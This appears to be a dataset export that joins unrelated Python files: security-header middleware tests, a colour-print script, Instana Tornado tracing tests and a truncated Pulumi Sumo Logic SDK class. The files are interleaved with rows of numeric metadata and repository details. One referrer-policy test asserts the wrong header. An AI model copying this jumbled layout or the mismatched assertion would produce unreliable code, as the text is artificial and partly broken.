"preload" in response.headers["strict-transport-security"] response = client.get("/async-message") assert response.status_code == 200 assert "preload" in response.headers["strict-transport-security"] def test_referrer_policy_default(app): app.add_middleware(SageMiddleware) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert response.headers["Referrer-Policy"] == "strict-origin-when-cross-origin" response = client.get("/async-message") assert response.status_code == 200 assert response.headers["Referrer-Policy"] == "strict-origin-when-cross-origin" def test_referrer_policy_origin(app): app.add_middleware(SageMiddleware, referrer_policy="origin") client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "SAMEORIGIN" response = client.get("/async-message") assert response.status_code == 200 assert response.headers["X-Frame-Options"] == "SAMEORIGIN" def test_referrer_policy_none(app): app.add_middleware(SageMiddleware, referrer_policy=None) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "Referrer-Policy" not in response.headers response = client.get("/async-message") assert response.status_code == 200 assert "Referrer-Policy" not in response.headers def test_force_https_true(app): app.add_middleware(SageMiddleware, force_https=True) client = TestClient(app, base_url="http://testserver") response = client.get("/sync-message", allow_redirects=False) assert response.status_code == 302 assert response.headers["location"] == "https://testserver/sync-message" client = TestClient(app, base_url="https://testserver") response = client.get("/sync-message", allow_redirects=False) assert response.status_code == 200 client = TestClient(app, base_url="http://testserver") response = client.get("/async-message", allow_redirects=False) assert response.status_code == 302 assert response.headers["location"] == "https://testserver/async-message" client = TestClient(app, base_url="https://testserver") response = client.get("/async-message", allow_redirects=False) assert response.status_code == 200 def test_force_https_false(app): app.add_middleware(SageMiddleware, force_https=False) client = TestClient(app, base_url="http://testserver") response = client.get("/sync-message", allow_redirects=False) assert response.status_code == 200 client = TestClient(app, base_url="https://testserver") response = client.get("/async-message", allow_redirects=False) assert response.status_code == 200 def test_force_https_permanent(app): app.add_middleware(SageMiddleware, force_https=True, force_https_permanent=True) client = TestClient(app, base_url="http://testserver") response = client.get("/sync-message", allow_redirects=False) assert response.status_code == 301 assert response.headers["location"] == "https://testserver/sync-message" client = TestClient(app, base_url="https://testserver") response = client.get("/sync-message", allow_redirects=False) assert response.status_code == 200 client = TestClient(app, base_url="http://testserver") response = client.get("/async-message", allow_redirects=False) assert response.status_code == 301 assert response.headers["location"] == "https://testserver/async-message" client = TestClient(app, base_url="https://testserver") response = client.get("/async-message", allow_redirects=False) assert response.status_code == 200 def test_feature_policy_empty(app): app.add_middleware(SageMiddleware, feature_policy={}) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "feature-policy" not in response.headers response = client.get("/async-message") assert response.status_code == 200 assert "feature-policy" not in response.headers def test_feature_policy_values(app): app.add_middleware( SageMiddleware, feature_policy={"geolocation": "*", "usb": "'self'"} ) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "feature-policy" in response.headers assert "geolocation *" in response.headers["feature-policy"] assert "usb 'self'" in response.headers["feature-policy"] response = client.get("/async-message") assert response.status_code == 200 assert "feature-policy" in response.headers assert "geolocation *" in response.headers["feature-policy"] assert "usb 'self'" in response.headers["feature-policy"] def test_content_security_policy_empty(app): app.add_middleware(SageMiddleware, content_security_policy={}) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "content-security-policy" not in response.headers response = client.get("/async-message") assert response.status_code == 200 assert "content-security-policy" not in response.headers def test_content_security_policy_values(app): app.add_middleware( SageMiddleware, content_security_policy={ "default-src": "*", "media-src": ["media1.com", "media2.com"], }, ) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "content-security-policy" in response.headers assert "default-src *" in response.headers["content-security-policy"] assert ( "media-src media1.com media2.com" in response.headers["content-security-policy"] ) response = client.get("/async-message") assert response.status_code == 200 assert "content-security-policy" in response.headers assert "default-src *" in response.headers["content-security-policy"] assert ( "media-src media1.com media2.com" in response.headers["content-security-policy"] ) def test_session_cookie_secure_true(app): app.add_middleware(SageMiddleware, session_cookie_secure=True) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert all([v.secure for v in response.cookies]) is True def test_session_cookie_secure_false(app): app.add_middleware(SageMiddleware, session_cookie_secure=False) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert all([v.secure for v in response.cookies]) is False def test_session_cookie_http_only_true(app): app.add_middleware(SageMiddleware, session_cookie_http_only=True) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert all([v.has_nonstandard_attr("httponly") for v in response.cookies]) is True def test_session_cookie_http_only_false(app): app.add_middleware(SageMiddleware, session_cookie_http_only=False) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert all([v.has_nonstandard_attr("httponly") for v in response.cookies]) is False def test_content_type_nosniff_true(app): app.add_middleware(SageMiddleware, content_type_nosniff=True) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert response.headers["X-Content-Type-Options"] == "nosniff" def test_content_type_nosniff_false(app): app.add_middleware(SageMiddleware, content_type_nosniff=False) client = TestClient(app) response = client.get("/sync-message") assert response.status_code == 200 assert "X-Content-Type-Options" not in response.headers

37.289256

88

0.726803

1,645

13,536

5.818237

0.066869

0.090691

0.095915

0.117856

0.948386

0.928325

0.919026

0.873367

0.807753

0.777871

0

0.015899

0.154329

13,536

362

89

37.392265

0.820215

0

0.719298

0

0.187722

0.050975

0

0.361404

1

0.105263

false

0

0.017544

0

0.133333

0

null

0

1

0

1

0

null

0

7

80d6ab0bbe1b828d6626b235f6429cefab3ba163

37

py

Python

cursoemvideo/cores.py

LuanPetruitis/minis_programas_python

5fbc4c3fbe832303511e612f320d31e2b91f1ef0

[ "MIT" ]

1

2020-04-09T14:41:48.000Z

cursoemvideo/cores.py

LuanPetruitis/minis_programas_python

5fbc4c3fbe832303511e612f320d31e2b91f1ef0

[ "MIT" ]

1

2020-04-10T20:39:24.000Z

2020-04-12T13:43:51.000Z

cursoemvideo/cores.py

LuanPetruitis/minis_programas_python

5fbc4c3fbe832303511e612f320d31e2b91f1ef0

[ "MIT" ]

1

2020-04-13T03:21:09.000Z

print('\033[4;37;40mOlá Mundo\033[m')

37

0.702703

8

37

3.25

0.875

0

0.305556

0.027027

37

1

37

0.416667

0

0.736842

0

1

0

true

0

1

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null

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1

0

1

0

null

0

1

0

1

0

8

80df0cefdd0c79b66e1d519ac202ae448a14a952

19,438

py

Python

tests/frameworks/test_tornado_client.py

tirkarthi/python-sensor

9872d146ac00baff2673fde5ba97fdbe596869a4

[ "MIT" ]

61

2017-09-27T02:50:17.000Z

2022-03-22T12:13:37.000Z

tests/frameworks/test_tornado_client.py

tirkarthi/python-sensor

9872d146ac00baff2673fde5ba97fdbe596869a4

[ "MIT" ]

82

2017-07-11T13:47:33.000Z

2022-03-22T10:10:38.000Z

tests/frameworks/test_tornado_client.py

takeaway/python-sensor

52d6eaa2d6a8e625201bad36ac2448201c4bd63d

[ "MIT" ]

27

2017-09-11T16:22:32.000Z

2022-03-11T17:21:49.000Z

# (c) Copyright IBM Corp. 2021 # (c) Copyright Instana Inc. 2020 from __future__ import absolute_import import time import asyncio import unittest import tornado from tornado.httpclient import AsyncHTTPClient from instana.singletons import tornado_tracer import tests.apps.tornado_server from ..helpers import testenv from nose.plugins.skip import SkipTest raise SkipTest("Non deterministic tests TBR") class TestTornadoClient(unittest.TestCase): def setUp(self): """ Clear all spans before a test run """ self.recorder = tornado_tracer.recorder self.recorder.clear_spans() # New event loop for every test # self.loop = tornado.ioloop.IOLoop.current() self.loop = asyncio.new_event_loop() asyncio.set_event_loop(self.loop) self.http_client = AsyncHTTPClient() def tearDown(self): self.http_client.close() def test_get(self): async def test(): with tornado_tracer.start_active_span('test'): return await self.http_client.fetch(testenv["tornado_server"] + "/") response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(3, len(spans)) server_span = spans[0] client_span = spans[1] test_span = spans[2] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertIsNone(client_span.ec) self.assertIsNone(server_span.ec) self.assertEqual("tornado-server", server_span.n) self.assertEqual(200, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"]) self.assertIsNone(server_span.data["http"]["params"]) self.assertEqual("GET", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(200, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", client_span.data["http"]["url"]) self.assertEqual("GET", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId) def test_post(self): async def test(): with tornado_tracer.start_active_span('test'): return await self.http_client.fetch(testenv["tornado_server"] + "/", method="POST", body='asdf') response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(3, len(spans)) server_span = spans[0] client_span = spans[1] test_span = spans[2] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertIsNone(client_span.ec) self.assertIsNone(server_span.ec) self.assertEqual("tornado-server", server_span.n) self.assertEqual(200, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"]) self.assertIsNone(server_span.data["http"]["params"]) self.assertEqual("POST", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(200, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", client_span.data["http"]["url"]) self.assertEqual("POST", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId) def test_get_301(self): async def test(): with tornado_tracer.start_active_span('test'): return await self.http_client.fetch(testenv["tornado_server"] + "/301") response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(4, len(spans)) server301_span = spans[0] server_span = spans[1] client_span = spans[2] test_span = spans[3] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server301_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(server301_span.p, client_span.s) self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertIsNone(client_span.ec) self.assertIsNone(server_span.ec) self.assertEqual("tornado-server", server_span.n) self.assertEqual(200, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"]) self.assertIsNone(server_span.data["http"]["params"]) self.assertEqual("GET", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-server", server301_span.n) self.assertEqual(301, server301_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/301", server301_span.data["http"]["url"]) self.assertIsNone(server301_span.data["http"]["params"]) self.assertEqual("GET", server301_span.data["http"]["method"]) self.assertIsNotNone(server301_span.stack) self.assertTrue(type(server301_span.stack) is list) self.assertTrue(len(server301_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(200, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/301", client_span.data["http"]["url"]) self.assertEqual("GET", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId) def test_get_405(self): async def test(): with tornado_tracer.start_active_span('test'): try: return await self.http_client.fetch(testenv["tornado_server"] + "/405") except tornado.httpclient.HTTPClientError as e: return e.response response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(3, len(spans)) server_span = spans[0] client_span = spans[1] test_span = spans[2] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertEqual(client_span.ec, 1) self.assertIsNone(server_span.ec) self.assertEqual("tornado-server", server_span.n) self.assertEqual(405, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/405", server_span.data["http"]["url"]) self.assertIsNone(server_span.data["http"]["params"]) self.assertEqual("GET", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(405, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/405", client_span.data["http"]["url"]) self.assertEqual("GET", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId) def test_get_500(self): async def test(): with tornado_tracer.start_active_span('test'): try: return await self.http_client.fetch(testenv["tornado_server"] + "/500") except tornado.httpclient.HTTPClientError as e: return e.response response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(3, len(spans)) server_span = spans[0] client_span = spans[1] test_span = spans[2] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertEqual(client_span.ec, 1) self.assertEqual(server_span.ec, 1) self.assertEqual("tornado-server", server_span.n) self.assertEqual(500, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/500", server_span.data["http"]["url"]) self.assertIsNone(server_span.data["http"]["params"]) self.assertEqual("GET", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(500, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/500", client_span.data["http"]["url"]) self.assertEqual("GET", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId) def test_get_504(self): async def test(): with tornado_tracer.start_active_span('test'): try: return await self.http_client.fetch(testenv["tornado_server"] + "/504") except tornado.httpclient.HTTPClientError as e: return e.response response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(3, len(spans)) server_span = spans[0] client_span = spans[1] test_span = spans[2] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertEqual(client_span.ec, 1) self.assertEqual(server_span.ec, 1) self.assertEqual("tornado-server", server_span.n) self.assertEqual(504, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/504", server_span.data["http"]["url"]) self.assertIsNone(server_span.data["http"]["params"]) self.assertEqual("GET", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(504, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/504", client_span.data["http"]["url"]) self.assertEqual("GET", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId) def test_get_with_params_to_scrub(self): async def test(): with tornado_tracer.start_active_span('test'): return await self.http_client.fetch(testenv["tornado_server"] + "/?secret=yeah") response = tornado.ioloop.IOLoop.current().run_sync(test) assert isinstance(response, tornado.httpclient.HTTPResponse) time.sleep(0.5) spans = self.recorder.queued_spans() self.assertEqual(3, len(spans)) server_span = spans[0] client_span = spans[1] test_span = spans[2] self.assertIsNone(tornado_tracer.active_span) # Same traceId traceId = test_span.t self.assertEqual(traceId, client_span.t) self.assertEqual(traceId, server_span.t) # Parent relationships self.assertEqual(client_span.p, test_span.s) self.assertEqual(server_span.p, client_span.s) # Error logging self.assertIsNone(test_span.ec) self.assertIsNone(client_span.ec) self.assertIsNone(server_span.ec) self.assertEqual("tornado-server", server_span.n) self.assertEqual(200, server_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", server_span.data["http"]["url"]) self.assertEqual('secret=<redacted>', server_span.data["http"]["params"]) self.assertEqual("GET", server_span.data["http"]["method"]) self.assertIsNotNone(server_span.stack) self.assertTrue(type(server_span.stack) is list) self.assertTrue(len(server_span.stack) > 1) self.assertEqual("tornado-client", client_span.n) self.assertEqual(200, client_span.data["http"]["status"]) self.assertEqual(testenv["tornado_server"] + "/", client_span.data["http"]["url"]) self.assertEqual('secret=<redacted>', client_span.data["http"]["params"]) self.assertEqual("GET", client_span.data["http"]["method"]) self.assertIsNotNone(client_span.stack) self.assertTrue(type(client_span.stack) is list) self.assertTrue(len(client_span.stack) > 1) assert("X-INSTANA-T" in response.headers) self.assertEqual(response.headers["X-INSTANA-T"], traceId) assert("X-INSTANA-S" in response.headers) self.assertEqual(response.headers["X-INSTANA-S"], server_span.s) assert("X-INSTANA-L" in response.headers) self.assertEqual(response.headers["X-INSTANA-L"], '1') assert("Server-Timing" in response.headers) self.assertEqual(response.headers["Server-Timing"], "intid;desc=%s" % traceId)

41.802151

112

0.655777

2,349

19,438

5.288633

0.056194

0.159382

0.052161

0.04057

0.927634

0.920551

0.915077

0.908154

0.905015

0

0.013266

0.208869

19,438

464

113

41.892241

0.794577

0.026031

0

0.810888

0

0.104174

0

0.69341

1

0.025788

false

0

0.028653

0

0.08596

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null

0

1

0

1

0

null

0

1

0

8

03c63b430a505c06feca30d96c9ba7b392b580b2

33,669

py

Python

sdk/python/pulumi_sumologic/cloud_syslog_source.py

pulumi/pulumi-sumologic

962fa056ee4b96e61a200e7bf2308bfad723c3af

[ "ECL-2.0", "Apache-2.0" ]

1

2021-10-13T03:50:41.000Z

sdk/python/pulumi_sumologic/cloud_syslog_source.py

pulumi/pulumi-sumologic

962fa056ee4b96e61a200e7bf2308bfad723c3af

[ "ECL-2.0", "Apache-2.0" ]

28

2021-05-21T11:00:45.000Z

2022-03-31T15:47:13.000Z

sdk/python/pulumi_sumologic/cloud_syslog_source.py

pulumi/pulumi-sumologic

962fa056ee4b96e61a200e7bf2308bfad723c3af

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities from . import outputs from ._inputs import * __all__ = ['CloudSyslogSourceArgs', 'CloudSyslogSource'] @pulumi.input_type class CloudSyslogSourceArgs: def __init__(__self__, *, collector_id: pulumi.Input[int], automatic_date_parsing: Optional[pulumi.Input[bool]] = None, category: Optional[pulumi.Input[str]] = None, content_type: Optional[pulumi.Input[str]] = None, cutoff_relative_time: Optional[pulumi.Input[str]] = None, cutoff_timestamp: Optional[pulumi.Input[int]] = None, default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]] = None, description: Optional[pulumi.Input[str]] = None, fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, filters: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]] = None, force_timezone: Optional[pulumi.Input[bool]] = None, host_name: Optional[pulumi.Input[str]] = None, manual_prefix_regexp: Optional[pulumi.Input[str]] = None, multiline_processing_enabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, timezone: Optional[pulumi.Input[str]] = None, use_autoline_matching: Optional[pulumi.Input[bool]] = None): """ The set of arguments for constructing a CloudSyslogSource resource. """ pulumi.set(__self__, "collector_id", collector_id) if automatic_date_parsing is not None: pulumi.set(__self__, "automatic_date_parsing", automatic_date_parsing) if category is not None: pulumi.set(__self__, "category", category) if content_type is not None: pulumi.set(__self__, "content_type", content_type) if cutoff_relative_time is not None: pulumi.set(__self__, "cutoff_relative_time", cutoff_relative_time) if cutoff_timestamp is not None: pulumi.set(__self__, "cutoff_timestamp", cutoff_timestamp) if default_date_formats is not None: pulumi.set(__self__, "default_date_formats", default_date_formats) if description is not None: pulumi.set(__self__, "description", description) if fields is not None: pulumi.set(__self__, "fields", fields) if filters is not None: pulumi.set(__self__, "filters", filters) if force_timezone is not None: pulumi.set(__self__, "force_timezone", force_timezone) if host_name is not None: pulumi.set(__self__, "host_name", host_name) if manual_prefix_regexp is not None: pulumi.set(__self__, "manual_prefix_regexp", manual_prefix_regexp) if multiline_processing_enabled is not None: pulumi.set(__self__, "multiline_processing_enabled", multiline_processing_enabled) if name is not None: pulumi.set(__self__, "name", name) if timezone is not None: pulumi.set(__self__, "timezone", timezone) if use_autoline_matching is not None: pulumi.set(__self__, "use_autoline_matching", use_autoline_matching) @property @pulumi.getter(name="collectorId") def collector_id(self) -> pulumi.Input[int]: return pulumi.get(self, "collector_id") @collector_id.setter def collector_id(self, value: pulumi.Input[int]): pulumi.set(self, "collector_id", value) @property @pulumi.getter(name="automaticDateParsing") def automatic_date_parsing(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "automatic_date_parsing") @automatic_date_parsing.setter def automatic_date_parsing(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "automatic_date_parsing", value) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "category", value) @property @pulumi.getter(name="contentType") def content_type(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "content_type") @content_type.setter def content_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content_type", value) @property @pulumi.getter(name="cutoffRelativeTime") def cutoff_relative_time(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "cutoff_relative_time") @cutoff_relative_time.setter def cutoff_relative_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cutoff_relative_time", value) @property @pulumi.getter(name="cutoffTimestamp") def cutoff_timestamp(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "cutoff_timestamp") @cutoff_timestamp.setter def cutoff_timestamp(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cutoff_timestamp", value) @property @pulumi.getter(name="defaultDateFormats") def default_date_formats(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]: return pulumi.get(self, "default_date_formats") @default_date_formats.setter def default_date_formats(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]): pulumi.set(self, "default_date_formats", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def fields(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: return pulumi.get(self, "fields") @fields.setter def fields(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "fields", value) @property @pulumi.getter def filters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]: return pulumi.get(self, "filters") @filters.setter def filters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]): pulumi.set(self, "filters", value) @property @pulumi.getter(name="forceTimezone") def force_timezone(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "force_timezone") @force_timezone.setter def force_timezone(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "force_timezone", value) @property @pulumi.getter(name="hostName") def host_name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "host_name") @host_name.setter def host_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "host_name", value) @property @pulumi.getter(name="manualPrefixRegexp") def manual_prefix_regexp(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "manual_prefix_regexp") @manual_prefix_regexp.setter def manual_prefix_regexp(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "manual_prefix_regexp", value) @property @pulumi.getter(name="multilineProcessingEnabled") def multiline_processing_enabled(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "multiline_processing_enabled") @multiline_processing_enabled.setter def multiline_processing_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "multiline_processing_enabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def timezone(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "timezone") @timezone.setter def timezone(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "timezone", value) @property @pulumi.getter(name="useAutolineMatching") def use_autoline_matching(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "use_autoline_matching") @use_autoline_matching.setter def use_autoline_matching(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "use_autoline_matching", value) @pulumi.input_type class _CloudSyslogSourceState: def __init__(__self__, *, automatic_date_parsing: Optional[pulumi.Input[bool]] = None, category: Optional[pulumi.Input[str]] = None, collector_id: Optional[pulumi.Input[int]] = None, content_type: Optional[pulumi.Input[str]] = None, cutoff_relative_time: Optional[pulumi.Input[str]] = None, cutoff_timestamp: Optional[pulumi.Input[int]] = None, default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]] = None, description: Optional[pulumi.Input[str]] = None, fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, filters: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]] = None, force_timezone: Optional[pulumi.Input[bool]] = None, host_name: Optional[pulumi.Input[str]] = None, manual_prefix_regexp: Optional[pulumi.Input[str]] = None, multiline_processing_enabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, timezone: Optional[pulumi.Input[str]] = None, token: Optional[pulumi.Input[str]] 